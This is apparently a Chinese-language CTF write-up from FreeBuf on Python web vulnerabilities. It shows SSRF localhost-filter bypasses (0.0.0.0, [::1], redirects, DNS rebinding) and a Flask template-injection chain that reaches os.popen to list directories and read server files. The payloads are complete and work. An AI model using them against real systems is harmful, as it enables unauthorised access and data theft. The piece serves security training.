freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTFer成长之路之Python中的安全问题
2023-02-26 17:09:25
所属地 河北省

Python中的安全问题CTF

1.Python里的SSRF

题目提示

尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

访问url:

http://f5704bb3-5869-4ecb-9bdc-58b022589224.node3.buuoj.cn/

回显如下:

在这里插入图片描述

通过提示构造payload:

?url=http://127.0.0.1:8000/api/internal/secret

进行访问

在这里插入图片描述

回显提示127.0.0.1是禁止的因为127.0.0.1是本地的地址,提示是说访问容器内部的地址

所以我们可以用0.0.0.0代替127.0.0.1

重新构造payload:

?url=http://0.0.0.0:8000/api/internal/secret

成功得到flag

在这里插入图片描述

其他不同的方式,得多尝试一下,

官方wp

本题有多重解法

- `0.0.0.0:8000` 绕过
- `[::1]:8000` 绕过(需要支持 ipv6)
- 重定向跳转到 `127.0.0.1:8000`
- dns rebinding 输入一个域名,第一次解析到非 `127.0.0.1` 地址上,第二个解析到 `127.0.0.1` 上。

2.python模板注入(SSTI)

访问url,页面回显 password is wrong,但是没有输入密码的地方

在这里插入图片描述

所以从 url 提交

?password={{3*3}}

发现可以识别并且正确回显

在这里插入图片描述

据回显的结果可以判断这是一个flask模板注入

参考

flask之ssti模版注入从零到入门

通过以下语句

/?password={{"".__class__.__bases__[0].__subclasses__()}}

拿到可用的类的列表

在这里插入图片描述

我们需要的是os命令执行类<class 'os._wrap_close'>

在这里插入图片描述

我们要判断他所属的位置,这样才能进行索引,将全部类复制放到pycharm(与他有同样功能的工具也行),我们索引逗号的位置,我们索引到我们需要类的位置,再在索引他前面逗号的位置,我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,

在这里插入图片描述

我们可以先看一下我们索引的是否正确,输入url

/?password={{"".__class__.__bases__[0].__subclasses__()[127]}}

我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,所以索引结果就是<class 'os._wrap_close'>

在这里插入图片描述

构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令)

/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

文件夹如下

在这里插入图片描述

最引起我们注意的就是app这个文件夹

经过一些尝试(目录遍历什么的),我们得知flag就在/app/server.py中,我们直接用cat查看文件内容就行

/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}

成功获取flag

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

# 渗透测试 # web安全 # 漏洞分析 # 代码审计 # 红队攻防
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录